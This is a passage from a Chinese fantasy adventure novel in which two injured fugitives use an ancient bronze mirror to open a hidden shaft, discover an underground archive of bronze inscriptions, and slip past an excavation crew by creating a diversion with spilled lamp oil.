利诺斯讨厌这种平静。这让他想起那些神庙深处的石像,永恒地注视着信徒的挣扎,却从不给出答案。余茶不是石像,但她身上那种抽离感,那种将自身也作为砝码置于天平上的姿态,让他感到一种比疼痛更深刻的……不适。 他猛地收回手,不是退缩,而是从腰间拔出了那把边缘已经卷刃、沾满血污的短剑。他用剑尖,极其缓慢而谨慎地,触碰了一下镜背的边缘。 没有反应。镜子冰冷依旧,如同死物。 他稍稍用力,将剑尖楔入镜子与地面之间,然后猛地一撬! 镜子被撬动,翻了个身。镜面朝上。 平滑的镜面蒙着薄薄的尘埃,但依旧能映出模糊的光影——倒悬的穹顶裂隙,飞舞的尘埃,以及……他自己俯身靠近的、布满血污和尘土的、扭曲变形的脸。 只是倒影。没有异象,没有光芒,没有连接异界的窗口。 利诺斯盯着镜中自己的眼睛,那双淡琥珀色的瞳孔在昏暗和血污下依旧锐利,却也布满血丝,深处藏着一丝连他自己都不愿承认的……不确定。 这镜子,刚才还如同一个狂暴的能量节点,现在却死寂如常石。是彻底耗尽了某种力量?还是需要特定的触发条件?是血?是特定的能量频率?还是……持有者的某种状态? 他想起余茶触碰镜子时,她手上的血,她携带的碎片,以及她那个“不属于这里”的、连她自己都说不清道不明的本质。也许,钥匙不是镜子本身,而是镜子与特定“钥匙”的结合? 他的目光转向余茶,又迅速移开。不,不能再让她碰那东西。刚才的抽取几乎要了她的命,再来一次,她绝对撑不住。而且,他无法预测下一次打开的“窗口”会通向哪里,又会引来什么。 就在他权衡之际,脚下的震动陡然加剧! “轰隆隆——!” 这一次不再是遥远的闷响,而是近在咫尺的、岩石挤压崩裂的可怕声响!整个“星之眼”洞窟剧烈摇晃起来!洞顶裂隙处,几块拳头大小的碎石呼啸着砸落,其中一块擦着利诺斯的肩膀飞过,带起一阵火辣辣的疼痛,更多的灰尘和碎石如雨般落下。 “小心!”余茶的声音被淹没在岩石的呻吟和落石的轰鸣中。 利诺斯下意识地扑倒在地,滚向远离洞顶裂隙和可能落石的区域。他眼角余光瞥见,中央平台似乎也在微微震颤,但悬浮的核心碎片依旧稳定,散发着恒定的金色光晕,仿佛周围山崩地裂的灾难与它无关。那具玉白色的守视者骸骨,在震动中似乎微微偏移了一点角度。 震动持续了十几息,才缓缓减弱,但并未停止,而是变成了一种持续的、令人心慌的低频颤抖,仿佛整座山峰正在痛苦地痉挛。 利诺斯灰头土脸地爬起来,呸出嘴里的灰尘。他看向余茶,她依旧躺在原地,用手臂护住了头脸,身下似乎又多了一些细碎的石屑。 “没时间犹豫了。”余茶的声音透过尘埃传来,冷静得可怕,“山体结构在恶化。待在这里,不是被活埋,就是被越来越浓的毒气闷死。”她指的是空气中愈发浓烈的硫磺焦糊味。 利诺斯当然知道。他看了一眼那面静静躺在不远处尘埃里的铜镜。镜子刚才被撬动翻身后,似乎离那具守视者骸骨更近了一些。 一个念头突然闪过。 骸骨。守视者。至死握着镜子,指向核心。 如果镜子是某种“钥匙”或“权限证明”,那么这位最后的守视者,为什么没有使用它?是他来不及?还是……他无法使用?或者,他的“使用”,并非启动,而是……记录?传递?指向? 指向什么? 利诺斯的目光再次落回骸骨伸出的右手手指。僵硬的指尖,并非直直指向悬浮的核心碎片,而是有一个极其微小的、向平台侧面某个特定方向偏移的角度。 他之前没有留意这个细节。现在,在震动和尘埃中,在生死存亡的压迫下,这个细微的角度突然变得无比清晰。 他挣扎着起身,拖着伤腿,踉跄着走到骸骨旁边,不顾可能亵渎亡者的忌讳,沿着那手指所指的方向,仔细看去。 手指指向的,并非光滑的平台侧面,而是平台与下方基座连接处、一块颜色略深、似乎有细微人工凿刻痕迹的岩石区域。那里布满了灰尘,看起来和周围并无二致。 利诺斯的心跳加快了。他用短剑刮去那块区域的灰尘。 露出的,不是一个凹槽,也不是一个符号。 而是一行极其细小、几乎与岩石纹路融为一体的刻痕。不是那种古老的几何符号,也不是线形文字,而是……一种更简单的、类似于计数或标记的短划组合。 但在这行刻痕的末端,有一个极其微小的、抽象的动物形象,线条简练到只有几笔,但扭曲的角与卷曲尾巴的特征清晰可辨。 这刻痕太浅,太隐蔽,若非沿着骸骨手指的精确指向,并且在特定光线下,几乎不可能被发现。 与镜子上的纹饰对应! 利诺斯猛地抬头,看向骸骨头颅低垂的方向——它“凝视”着核心碎片,但眼窝的朝向,似乎也隐隐与手指的指向有所关联。 一个可怕的猜想浮现:这位守视者,或许并非想用镜子去启动或接触核心。他死前的姿势,更像是在用镜子作为身份凭证或能量源,用自己的生命或意志作为导向,将某个信息或坐标,指向了平台基座上的这个隐蔽标记! 而标记,是一个微缩的动物纹路符号。 这信息是什么?坐标指向哪里?和镜子有关?和“极东方”有关?还是……和一条隐藏的、不通过核心碎片启动的紧急通道有关? 时间不容他细想。又是一阵剧烈的摇晃,更大块的碎石开始从洞顶剥落,空气中硫磺味浓到刺眼。 “那里!”利诺斯对余茶吼道,指向那个刻痕的位置,“骸骨指着的!有标记!” 余茶顺着他指的方向看去,眯起眼睛,也看到了那极其细微的刻痕和末端的异性夔龙符号。她的大脑飞速运转,结合骸骨的姿势、镜子的存在、以及利诺斯的发现…… “不是启动……是指引。”她嘶哑道,“镜子可能是信物,骸骨的姿势和这个标记,可能是……地图?或者,触发某种隐藏机制的条件?” “怎么触发?”利诺斯问,一边躲避着落石,一边艰难地挪到刻痕旁边。 余茶看向他手中的短剑,又看向那面镜子,最后,目光落在自己染血的左手。“血……可能还不够。需要镜子靠近?或者……需要模仿他的姿势?”她自己都觉得这推测近乎荒唐。 但绝境之中,荒唐往往就是唯一的生路。 利诺斯没有犹豫。他再次冲向那面镜子,这一次不再试探,而是直接弯腰,忍着肋间和腿上的剧痛,一把将镜子抓了起来! 入手冰凉沉重。依旧没有异动。 他拿着镜子,拖着断腿吃力地回到那个刻痕旁边。然后,他做了一个大胆的举动——他将镜背,紧紧贴在了那个微小的夔龙纹刻痕上。 严丝合缝!镜子背面的夔龙纹路,与岩石上简化的夔龙纹刻痕,大小比例虽不完全一致,但纹饰的核心形态,螺旋角与卷尾流向竟然隐隐吻合。 就在镜背贴合刻痕的瞬间—— 异变没有发生在镜子上,也没有发生在平台上。 而是发生在他们脚下的地面! 以那个刻痕所在的岩石为中心,一圈微弱但清晰的蓝色光晕,如同水波般荡漾开来,迅速蔓延至附近大约一米见方的区域。光晕范围内的岩石纹理仿佛活了过来,开始微微发光、重组! 紧接着,一阵低沉的、仿佛古老机关被触发的“咔哒”声,从光晕中心的地下传来。 利诺斯和余茶屏住呼吸,死死盯着那片发光的地面。 蓝色光晕越来越亮,然后骤然向内收缩。光晕中心的岩石,竟然无声无息地向下凹陷、滑开,露出了一个黑黝黑的、直径约半米的垂直井道。井道边缘光滑,内壁似乎有某种发光的苔藓或矿物,提供着极其微弱的、向下延伸的蓝绿色冷光。 一股比洞内更加阴冷、带着浓郁泥土和岩石气息的气流,从井道中涌出。 通道!一条隐藏的、不通过中央平台激活的通道! 骸骨的姿势,镜子的信物,隐蔽的标记——共同指向了这个最后的逃生的路径。 利诺斯看向余茶,眼中闪过决断:“下去!” 余茶看着那深不见底的垂直井道,又看了看自己完全无法用力的左腿,苦笑了一下:“我怎么下?” 利诺斯没有废话。他迅速将铜镜塞进自己怀里,然后挪到余茶身边,撕下自己身上最后几缕还算结实的布条,开始快速地将余茶的身 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井道并非完全垂直,而是带着一定的螺旋倾斜角度,内壁异常光滑,仿佛被打磨过无数遍。他们下落的速度很快,耳边是呼啸的风声和衣物摩擦内壁的沙沙声。蓝绿色的冷光在周围飞快掠过,形成迷离的光带。 利诺斯用右臂和身体尽量控制着下落的姿态,避免直接撞击。余茶紧闭双眼,将脸埋在他肩头,感受着强烈的眩晕和失重带来的心悸。左腿的伤口在剧烈摩擦和震动下传来撕裂般的痛楚,但她咬紧牙关,一声不吭。 下落的过程似乎很漫长,又似乎只是一瞬。就在余茶感觉肺里的空气都要被挤压出来时,下落的速度开始明显减缓。井道的坡度变得平缓,最终,他们“噗通”一声,跌入了一个冰冷刺骨的水池中! 水并不深,只到腰部,但突如其来的冰冷让两人都激灵灵打了个寒颤,伤口浸水的刺痛更是雪上加霜。 水底似乎是平整的石板,利诺斯挣扎着站起,将几乎晕厥的余茶托出水面。余茶剧烈咳嗽着,吐出呛入的冷水,左腿浸水后传来的剧痛让她眼前阵阵发黑。 他们环顾四周。这里似乎是一个天然形成的、被地下河侵蚀出的洞穴,空间不大,头顶就是他们滑下来的井道出口,仍在散发着微弱的蓝绿光。洞穴一半是水,一半是湿滑的岩石斜坡。水流从一个方向缓缓流入,又从另一个更低的出口流出,发出潺潺的水声。空气冰冷潮湿,但那种硫磺焦糊味消失了,取而代之的是纯净的、带着矿物质气息的冰冷水汽。 最重要的是,这里没有震动。至少,没有“星之眼”那里那么剧烈。只有从头顶极深处隐约传来的、沉闷的轰鸣,提醒着他们山体的危机并未解除。 他们暂时安全了。从一个绝境,落入了另一个未知的、但至少暂时没有崩塌和毒气威胁的境地。 利诺斯将余茶抱到相对干燥的岩石斜坡上,解开两人之间的束缚。他自己也瘫坐在一旁,大口喘着气,冰冷的衣物紧贴在身上,带走本就所剩无几的体温。 余茶躺在冰冷的岩石上,浑身湿透,左腿的包扎完全被水浸透,伤口泡得发白,疼痛已经变得有些麻木。她看着头顶那点遥远的蓝绿色出口微光,又看了看身边同样狼狈不堪、却始终没有放弃的利诺斯,心中涌起一股极其复杂的情绪——劫后余生的虚脱,对前路的茫然,对伤势的绝望,以及一丝……对这个男人难以言喻的、混杂着警惕与依赖的观感。 利诺斯喘息稍定,从怀里掏出那面铜镜。镜子也湿了,但表面的“黑漆古”包浆似乎让它并不怎么吸水。镜背的夔龙纹在幽暗的水光下,显得更加神秘幽深。 “这玩意儿……”利诺斯晃了晃镜子,水珠滑落,“到底还藏着多少秘密?” 余茶没有回答。她只是看着那面镜子,看着镜背上那三种截然不同的铭文痕迹,心中那个关于“跨文明网络”的猜想,越来越清晰,也越来越沉重。 他们逃出了“星之眼”,但并没有逃出谜团。 反而,因为找到了这条隐藏通道,因为带出了这面镜子,他们可能离那个更深、更广、更危险的真相,又近了一步。 而脚下的地下河,潺潺流动,不知通向何方。 是通往山外的生路? 还是通往下一个,更加深邃莫测的节点? 利诺斯收起镜子,挣扎着站起身,看向水流流出的那个黑暗洞口。 “休息不了太久,”他声音沙哑,带着水汽,“水在流,说明有出路。顺着水走,也许能出去。” 余茶点点头,用尽力气撑起上半身。左腿完全无法着力,但她还有右手,还有意志。 利诺斯再次弯腰,将她背起,用剩余的布条简单固定。 然后,他迈开步子,踏入冰冷的地下河中,朝着水流的方向,一步一步,艰难地走向前方的黑暗。 蓝绿色的井道微光在身后越来越远。 前方,只有水声,黑暗,和未知的命运。 而怀中的铜镜,贴着皮肤,冰冷沉默,仿佛一个沉睡的见证者,静静记录着这场跨越山海与文明的、血腥而绝望的逃亡。 31. 水下的铜碑 冰冷的地下河水淹到利诺斯的胸口,湍急的暗流不断冲击着他本就站立不稳的身体。余茶的重量压在他的背上,每一次迈步都牵扯着全身的伤口,尤其是那条几乎失去知觉的左腿,在水流的冲击下像不属于自己的沉重负担。黑暗如同有实质的潮水,包裹着他们,只有手边粗糙湿滑的岩壁,和脚下深浅不一、偶尔打滑的河床,提供着仅有的方向感和支点。 水声在狭窄的通道里被放大,轰鸣着灌满耳朵,掩盖了其他一切声响——包括他们自己粗重的喘息,和山体深处持续传来的、隐约如闷雷的震动。空气潮湿冰冷,带着浓郁的水腥气和岩石气息,每一次呼吸都像吸入冰碴。余茶的脸颊贴在利诺斯湿透的后颈,能感受到他皮肤下血管的剧烈搏动和肌肉因寒冷与剧痛而无法抑制的颤抖。她的左腿浸在刺骨的水里,伤口早已麻木。 一开始余茶还努力想分析水文情况,但随着时间的推移,大脑停止了思考只跟随利诺斯一步一步地向前挪动,机械地数着步数。利诺斯凭借着一股近乎蛮横的求生意志和野兽般的直觉,在完全黑暗的水道中摸索前进。他时而侧耳倾听水流的细微变化,时而用手触摸岩壁的纹理和倾斜度,判断方向和安全。有几次,水位突然变深,几乎没过他的口鼻,他不得不憋着一口气,托着余茶强行泅渡过去。余茶紧闭着眼睛和嘴巴,任由冰冷的河水冲刷,只是用尽全力环住他的上臂,不让自己滑脱。 就在余茶连计步都要放弃时,前方的黑暗似乎有了一丝变化。并非光亮,而是一种……开阔感。水流的轰鸣声变得更加空旷,带上了回音。 利诺斯停了下来,喘息着,努力在黑暗中分辨。 “前面……空间变大了。”他哑声道,声音在水声中显得模糊。 他试探着继续向前走了几步。水位开始下降,从胸口降到腰部,再到膝盖。脚下不再是松散的卵石,而是平整的、似乎经过修整的石板。水流在这里分散开来,变得平缓。 他们进入了一个更大的地下洞穴。 利诺斯摸索着,将余茶放到一处相对干燥、高出水面的岩石平台上。他自己也几乎脱力,靠坐在旁边的石壁上,剧烈地咳嗽,吐出呛入的冷水。 余茶瘫在冰冷的岩石上,浑身湿透,冻得牙齿格格打颤。失血、冰冷、疲惫、疼痛……所有负面状态叠加在一起,让她几乎连抬起手指的力气都没有。但她强迫自己保持清醒,用模糊的视线打量着周围。 绝对的黑暗。只有水流微弱的光泽偶尔反射出一点微茫的轮廓。空气依旧冰冷,但那股水腥气中,似乎掺杂了一丝……极其微弱的、难以形容的陈旧气息。不是腐败,更像是尘封已久的、金属与石头混合的,带着岁月沉淀的味道。 利诺斯摸索着,从怀里掏出那面铜镜。镜子湿漉漉的,但并没有任何发光的迹象。他有些烦躁地甩了甩上面的水,又将其塞回怀中。 “没有光……看不清。”他低声道,像是在自言自语,又像是在对余茶说。 余茶努力集中涣散的意识。光……他们需要光。没有光,在这完全陌生的地下空间里,跟瞎子没有区别,随时可能跌落深渊或撞上岩壁。 火?刚才在“星之眼”生火的燧石和最后一点纤维早就不知道掉到哪里去了。而且这里潮湿得能拧出半桶水。 碎片?那五块碎片在布囊里,浸了水,毫无反应。 镜子?刚才引发那么大动静,现在却死寂一片。 还有什么? 尽管在黑暗中毫无作用,她的目光仍下意识地投向水面。水……流动的水。地下河。如果这里曾是古代系统的一部分,哪怕是边缘或附属部分,会不会也有类似“星之眼”那种发光的矿物或结构? “看看……岩壁……”她艰难地发出声音,喉咙像被砂纸磨过,“或者……水底……” 利诺斯听懂了她的话。他再次挣扎起身,忍着刺骨的寒冷和腿部的剧痛,重新踏入齐膝深的水中。他弯下腰,双手在冰冷的河水里摸索,同时仔细倾听和感受。 起初,除了光滑的石板和偶尔的碎石,一无所获。 就在他几乎要放弃,准备另想办法时,他的指尖在靠近一处岩壁的水下,触碰到了一块与其他石板明显不同的东西。 不是石头。更光滑,更规整,边缘似乎有棱角。而且……表面有凹凸的刻痕。 他心中一动,用力将那块东西从水底的淤泥中抠了出来。入手沉重,冰凉,形状不规则,大约有半块砖头大小。 他将那东西捞出水面,凑到眼前——尽管在黑暗中什么也看不清。他用手指仔细抚摸其表面。 是金属,腐蚀严重,但还能摸出大致的形状和纹路。似乎是一块……铭牌的残片?上面刻着东西,线条深峻,即使在严重的铜锈下依然能感觉到。 刻的是什么?文字?图案? 他摸索着,试图辨认。线条复杂,似乎结合了抽象的几何图形和某种象形的符号。不是他熟悉的任何一种文字,也不是镜子背面那三种铭文中的任何一种。但莫名地,有种……熟悉的感觉?不是认知上的熟悉,而是能量层面、或者说风格上的熟悉。和那些碎片,和这个古老系统,隐隐有着同源的气息。 就在这时,异变发生了。 不是他手中的青铜残片,也不是布囊里的碎片。 而是来自他怀中的那面夔龙纹铜镜! 一直冰冷死寂的镜子,在接触到这块从水底捞出的、带着同源气息的青铜残片时,镜背突然传来一阵极其轻微、但清晰无比的温热感! 紧接着,镜背中央的纹路,那螺旋角和卷尾的线条,极其短暂地闪过了一丝微不可察的暗金色流光。快得如同幻觉,但在绝对的黑暗和静谧中,利诺斯敏锐地捕捉到了。 他立刻将镜子和青铜残片紧紧贴在一起! “嗡……” 一声极其轻微、仿佛来自远古回响的、低沉的金属共鸣声,从贴合的二者之间传来,不是通过空气,更像是直接震动了他的骨骼。 与此同时,以镜子和残片接触点为中心,一圈极其暗淡的、暗金色的光晕荡漾开来,瞬间照亮了周围一小片区域——大约半径一臂的范围。 光!虽然微弱,但在这绝对的黑暗里,不啻于灯塔! 借着这短暂而稳定的暗金色光晕,利诺斯和余茶终于看清了他们所处的环境—— 这是一个巨大的、拱顶式的天然溶洞,一半是平静的地下河水潭,一半是湿滑高耸的岩石平台。洞顶垂挂着密集的钟乳石,如同巨兽的獠牙。而最令人震撼的,是沿着水潭边缘、以及部分浸没在水中的岩壁上,密密麻麻、层层叠叠地镶嵌或竖立着无数大小不一、形态各异的青铜板、青铜碑、青铜柱。 它们大多锈蚀严重,覆盖着厚厚的矿化物和水垢,但依旧能看出曾经规整的形态和表面精美的纹饰。纹饰的风格,与利诺斯手中那块残片,以及那面夔龙纹镜子,有着明显的亲缘关系。同样是抽象的几何线条与神秘符号的结合,只是更加宏大,更加复杂,有的似乎还记录着叙事的场景——星辰、山脉、海浪、人群跪拜、以及……一种模糊的、多头多臂的、充满母性威严的神祇形象。 这里不是一个简单的洞穴。这是一个地下的青铜铭文档案馆。或者说,一个用于记录、存储某种重要信息的古老设施! 光晕稳定地持续着,虽然微弱,但足以让他们看清近处的一些细节。利诺斯手中的残片,或者说残碑上,刻着的似乎是一段简短的铭文和一幅小图。铭文他看不懂,但那幅小图——描绘的是一条蜿蜒的线条,连接着几个点,其中一个点上,画着一个简化的夔龙符号,符号旁边,有几个更小的、指向不同方向的箭头。 地图?指引? 而余茶的目光,则被离他们最近的一块半浸在水中的大型青铜碑吸引。那块碑保存相对完好,上面的纹饰也更加清晰。除了那种神秘的文字符号,碑面上还刻着一幅相对复杂的地图或示意图:中心是一个巨大的、多面的核心符号,与“星之眼”平台上的类似,周围放射状连接出七条主脉,每条主脉又分出许多细小的支脉,蔓延向四面八方。而在其中一条指向东北方向的主脉末端,标注着一个特殊的符号——那是一个漩涡状的标记,漩涡中心,有一个深色的点。 这个符号,与之前在“星之眼”立体星图中看到的、那个散发着恶意与不稳定光芒的深海光点,在感觉上……惊人地相似。 更让余茶心脏骤停的是,在这幅地图的下方,刻着一行较大的、她能够勉强意会的古老文字,与石室中灌入她知识的文字 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“那个深海里的东西……”他盯着漩涡标记,声音冰冷,“不是偶然出现的。它是现在这种情况的原因?还是后面引来的?” 余茶摇头,她的知识碎片里没有答案,只有警告。“可能都是。系统受损,露出破绽,引来了觊觎者;或者,就是那个外灵强行突破,造成了断裂。” 无论是哪种,都意味着他们面对的敌人,可能不仅仅是自然灾变或人类政敌,而是某种……更加古老、更加诡异、对这个古老系统怀有恶意的存在。 光晕开始微微闪烁,似乎镜子和残碑提供的能量有限,或者这里的某种场域在干扰。周围的青铜碑林在明灭的光线下,投下摇曳的巨大阴影,显得更加森然可怖。 “这里……有出路吗?”余茶问出了最关键的问题。档案馆再重要,也得有命出去研究。 利诺斯举着镜子和残碑,让光晕尽可能照亮更远的地方。他沿着水潭边缘缓缓移动,观察岩壁和青铜碑的排列。 很快,他发现了一个异常。 在洞穴最深处的岩壁上,青铜碑的排列出现了一个明显的缺口。缺口处的岩石颜色与周围不同,更加光滑,似乎有人工修整的痕迹。而在缺口下方的水面上,漂浮着几块明显是近期断裂、边缘新鲜的木板碎片,还有一些散落的、已经泡得发白的植物纤维绳索。 有人来过这里,而且是不久前。 利诺斯的心猛地一沉。是克里同的人?还是其他寻找古老遗迹的势力?无论是谁,都意味着他们的行踪可能已经暴露,或者至少,这里并非绝对安全的避难所。 他靠近那个缺口,用光晕仔细照射。缺口后方,似乎是一条向上倾斜的、人工开凿的狭窄通道,通道内漆黑一片,但空气的流动感明显比这里强。 “有路。”利诺斯低声道,语气却并不轻松,“但可能有人先走了。” 余茶也看到了那些木板和绳索碎片。“船?他们坐船进来的?”这地下河有部分水道可能可以行船,至少是小艇。 利诺斯点头,眼神锐利地扫视水面和周围,警惕可能埋伏的人。但洞穴里除了水声和他们自己的呼吸,再没有其他动静。 “走。”他没有犹豫。留在这里,光源一旦耗尽,他们将重新陷入黑暗,而且可能面对未知的后来者。那条向上的通道,至少提供了离开地下河、回到地表附近的可能性。 他再次背起余茶,一手举着镜子和残碑提供照明,一手警惕地握紧短剑,涉水走向那个岩壁缺口。 穿过缺口,进入狭窄的通道。通道明显是人工开凿的,台阶粗糙但规律,一直向上延伸。空气越发流通,带着一丝微弱的、属于外界的新鲜气息。但同时也传来了另一种声音——不是水声,也不是山体震动,而是……隐约的人声,还有金属工具敲击岩石的声响。 声音从上方传来,隔着岩层,模糊不清,但确实存在! 利诺斯立刻停下脚步,熄灭镜子和残碑的光晕,将余茶轻轻放下,自己屏息凝神,贴着岩壁向上倾听。 余茶也紧张起来,心跳如鼓。 是敌?是友? 还是……另一批被古老秘密吸引而来的、贪婪的掘墓人? 通道上方,未知的命运,正在等待着伤痕累累的他们。 32. 掘墓者的影子 人声和敲击声在岩层的过滤下显得沉闷而遥远,像是从一口深井的井口传来的喧哗。利诺斯紧贴冰冷的石壁,耳朵捕捉着每一个细微的回音和震颤。他的呼吸压得极低,如同蛰伏的毒蛇。余茶靠坐在他身后的台阶上,左腿传来的麻木和全身的寒冷让她不住地发抖,但她死死咬住下唇,不让自己发出任何声响。 光晕已经熄灭,通道重新被浓稠的黑暗吞噬。只有上方极其微弱、断断续续的火把光影,透过曲折通道的缝隙,偶尔在墙壁上投下摇曳的、鬼魅般的影子。 “……这边!岩层更脆,使劲!” “小心落石!下面可能有空腔。” “队长说了,不管挖到什么,第一时间上报!特别是带文字和图样的石板、金属。” “这亡灵聚集的地方,火把都烧不旺……” 声音清晰了一些,是男人的嗓音,粗嘎,带着疲惫和不耐烦,用的是本地希腊方言,夹杂着一些专业术语和克里同的名号。 是克里同的挖掘队。他们已经搜索到了这么深的地下,甚至可能发现了那个青铜档案馆的水道入口。那些漂浮的木板和绳索,很可能就是他们的船只残骸——或许是在进入或离开时发生了碰撞或事故。 利诺斯的心沉了下去。最坏的情况之一发生了。克里同显然没有放弃,他调集了人力,正沿着地脉异常和古代遗迹的线索,进行着地毯式的、破坏性的挖掘。他的目标很明确:找到一切有价值的古物,尤其是带有信息记载的,试图从中获取力量、知识或政治资本。 如果他们现在上去,几乎肯定会撞个正着。两个重伤濒死、毫无反抗能力的人,面对一支武装挖掘队,下场可想而知。 但退回去?退回那个黑暗冰冷的档案馆?且不说镜子提供的照明不稳定,那里也没有出路,迟早会被发现,或者困死其中。 进退维谷。 利诺斯的大脑飞速运转。听声音,上面的人数不少,至少有七八个,可能更多。他们似乎正在集中力量开凿某个岩层,动静很大,这或许意味着他们暂时没有分散搜索这条狭窄的侧向通道。但不确定性能维持多久。 他回头,在绝对的黑暗中,只能勉强看到余茶轮廓的剪影。他压低声音,几乎是用气息在说:“克里同的人。在上面开凿。人数不少。” 余茶在黑暗中点了点头,表示明白。她没有问怎么办,只是静静地等待他的决定。在这种绝对的力量悬殊和绝境下,选择余地已经微乎其微。 利诺斯的目光再次投向通道上方。火把的光影依旧摇曳,人声和敲击声持续。他侧耳倾听,试图分辨他们的具体位置、工作进度、以及是否有换班或休息的迹象。 时间一点点过去。寒冷和伤痛正在不断侵蚀两人的体力和意志。余茶感到自己的意识又开始模糊,左腿的麻木感向上蔓延,一种不祥的、失去控制的预感笼罩着她。她必须保持清醒。 就在这时,上方的声音发生了微妙的变化。 敲击声停止了。 人声变得更加集中,似乎聚拢到了某个点。 “……快看!挖通了!有个缝!” “黑漆漆的……扔个火把下去!” “等等!别急!先报告!” 一阵短暂的嘈杂和争论。 然后,一个听起来更加沉稳的声音响起,但也带着压抑的激动:“你们两个,守在这里。你,回去报告克里同和占卜师,就说在第三号坑道下方,发现疑似人工开凿的垂直井道,深度不明,请求指示。其他人,跟我准备绳索和灯,先做初步探查!注意,可能有危险。” “是!” 一阵匆忙的脚步声远去,有一部分人似乎离开了。剩下的则开始忙碌地准备绳索、灯具,并继续清理那个刚刚发现的井道入口。 利诺斯的心脏猛地一跳! 垂直井道?深度不明? 他们挖通的……会不会就是自己和余茶刚才滑下来的那条,从“星之眼”通往青铜档案馆的隐蔽通道?! 如果是的话,那么那条通道的出口——也就是他们现在所在的这条向上台阶通道的顶端——很可能就在那些挖掘队员的附近,甚至就在他们刚刚清理出的井道入口旁边! 难怪这里会有新鲜断裂的木板和绳索。克里同的人可能之前就发现了水潭和水下档案馆的一部分,并尝试用船探索,发生了事故。现在,他们又从另一个方向,可能是沿着地脉异常或别的线索向下挖掘,竟然意外地连通了那条古老的紧急通道。 他们现在,等于是被困在了敌人刚刚打开的后门门槛上,往前一步是敌人,后退一步很快也是敌人了。 冷汗瞬间浸湿了利诺斯的后背,混合着冰凉的衣物,带来一阵刺骨的寒意。他必须立刻做出决定。 退?不可能。上面的人很快就会下来探查。就算他们暂时没发现这条侧向台阶,一旦有人下来,很容易就会发现。 进?趁着上面的人注意力集中在刚打通的井道,或许有机会……从他们身边溜过去?甚至……利用混乱? 这个想法大胆到近乎疯狂。两个重伤员,要从一群全副武装、警惕性正高的士兵和工匠眼皮底下溜走?天方夜谭。 但……这是唯一的机会。唯一的,稍纵即逝的、混乱初生的机会。 利诺斯的目光在黑暗中变得异常锐利。赌徒的本能在血液里沸腾。他轻轻拍了拍余茶的手臂,示意她噤声,然后凑到她耳边,用最低微、最清晰的气音说: “他们挖通了下来的路。入口就在上面不远。现在他们注意力在井道。我上去看看。你……尽量挪到那边阴影更深的地方。”他指了指通道侧后方一处岩石凹陷更明显的位置。“不管听到什么,别出声,别动。” 余茶的心脏几乎要从嗓子眼里跳出来。她听明白了利诺斯的计划——他要独自上去,在虎口边上窥探,甚至可能制造混乱。而她自己,必须隐藏好,不成为拖累和破绽。 她想说“太危险”,想说“一起”,但理智告诉她,以她现在的状态,上去只能是累赘,甚至会害死两个人。她只能点头,用尽力气,开始用双手和右腿,一点点向那个岩石凹陷处挪动。粗糙的石面摩擦着伤口和湿透的衣物,每一步都伴随着剧痛和几乎要溢出的闷哼,但她死死忍住。 利诺斯看着她在黑暗中艰难挪动的模糊影子,眼神复杂地闪烁了一下,很快就被决绝取代。他将怀中那面铜镜和那块青铜残碑塞到余茶手里——这两样东西在黑暗中可能会发出光或共鸣,不适合携带。然后,他检查了一下那把卷刃的短剑,将其紧紧反握在手中。 没有告别,没有叮嘱。他像一道无声的阴影,贴着通道一侧,开始向上攀爬。他的动作异常轻盈,尽管伤腿让他的步伐有些踉跄和不稳,但他控制得很好,几乎没有发出任何多余的声响。只有衣物偶尔摩擦岩壁的窸窣声,被上方传来的嘈杂人声完美掩盖。 台阶向上延伸了大约二三十级,然后拐了一个弯。拐角处,火把的光影更加明亮,人声也近在咫尺。 利诺斯停在拐角阴影里,屏住呼吸,微微探头。 眼前是一个相对宽敞的、人工开凿出的平台。平台中央,一个大约一米见方、边缘参差不齐的新鲜破口赫然在目,正是刚刚被打通的井道入口。破口周围散落着碎石和泥土,几盏陶灯和火把插在旁边的岩缝里,将这片区域照得通明。 大约有五个人围在破口周围。其中两人正将一卷粗麻绳的一端牢牢系在旁边一根打入岩石的铁钎上,可能岩洞的岩石不够结实,他们选择的岩石距离井道较远,还有些高,长长的麻绳占据了通道很大的一块位置,另一端则垂入黑漆漆的井道。其他三人,一个穿着较好的皮甲,腰佩短剑,正探身朝井道里张望;另两个手持长矛和盾牌,警惕地站在稍远处,戒备着周围,尤其是他们来时的方向,但并没有特别注意利诺斯藏身的这条狭窄侧向通道——它被一堆开采下来的碎石和工具半掩着,在火光照不到的阴影里,很不显眼。 更远处的主坑道里,隐约还有其他人声和火光,但听不清具体在做什么。回去报信的人应该已经走远了。 机会!入口处只有五个人,而且注意力都在井道上。 但怎么过去?平台几乎被火光照亮,没有任何遮蔽。从侧向通道口到主坑道方向,中间必须经过那片开阔地。 利诺斯的大脑飞速计算着。强攻不可能。引开?制造意外? 他的目光扫过平台上的东西:绳索、工具、火把、陶灯、散落的碎石…… 一个冒险的计划迅速成形。 他悄悄缩回阴影,从地上摸索着捡起几块边缘锋利的碎石片。然后,他深吸一口气,用尽全力,将其中一块碎石片,朝着平台对面、靠近主坑道方向的黑暗角落,狠狠掷去! “啪!哗啦——!” 碎石片撞在岩壁上,发出一声清脆的响声,然后弹落在地,又带起一阵小石子的滚动声。 “什么人?!”平台上的五人瞬间警觉!两名持矛士兵立刻转向声音传来的方向,举起长矛和盾牌。队长和系绳索的两人也直起身,警惕地望过去。 “去看看!”队长对一名持矛士兵示意。 那名士兵犹豫了一下,端着长矛,小心翼翼地朝黑暗角落走去。 就是现在! 利诺斯如同潜伏已久的猎豹,在士兵转身、其他人注意力被吸引的刹那,猛地从侧向通道的阴影中窜出,他不是冲向主坑道,而是扑向平台中央——那个垂挂着绳索的井道破口! 他的目标不是人,而是那几盏插在破口边缘、提供主要照明的陶灯和火把! 他的速度快得惊人,尽管伤腿让他的动作有些变形。在所有人都没反应过来的瞬间,他已经冲到破口边,手中短剑横扫! “哐当!哗啦——!” 两盏陶灯被扫落,破碎,灯油泼洒出来,遇到明火—— “轰!” 一小团火焰猛地窜起,点燃了泼洒的灯油和旁边一些干燥的绳索碎屑。虽然火势不大,但在突然的黑暗和混乱中,效果惊人! “着火了!” “小心!” “怎么回事?!” 平台上一片惊呼和混乱!突如其来的黑暗和火焰让所有人都措手不及。那名走向黑暗角落的士兵也吓得立刻回头。 而利诺斯,在制造混乱的瞬间,已经借助那一闪而逝的火光和对地形的惊鸿一瞥,看准了方向。他双手抓住绳索,毫不犹豫地,纵身跃起! 绳索带着他的身体,如同人猿般划过半空,在众人还没从火焰和黑暗中完全清醒时,他已经松手,落地,翻滚,悄无声息地没入了主坑道入口附近的阴影之中! 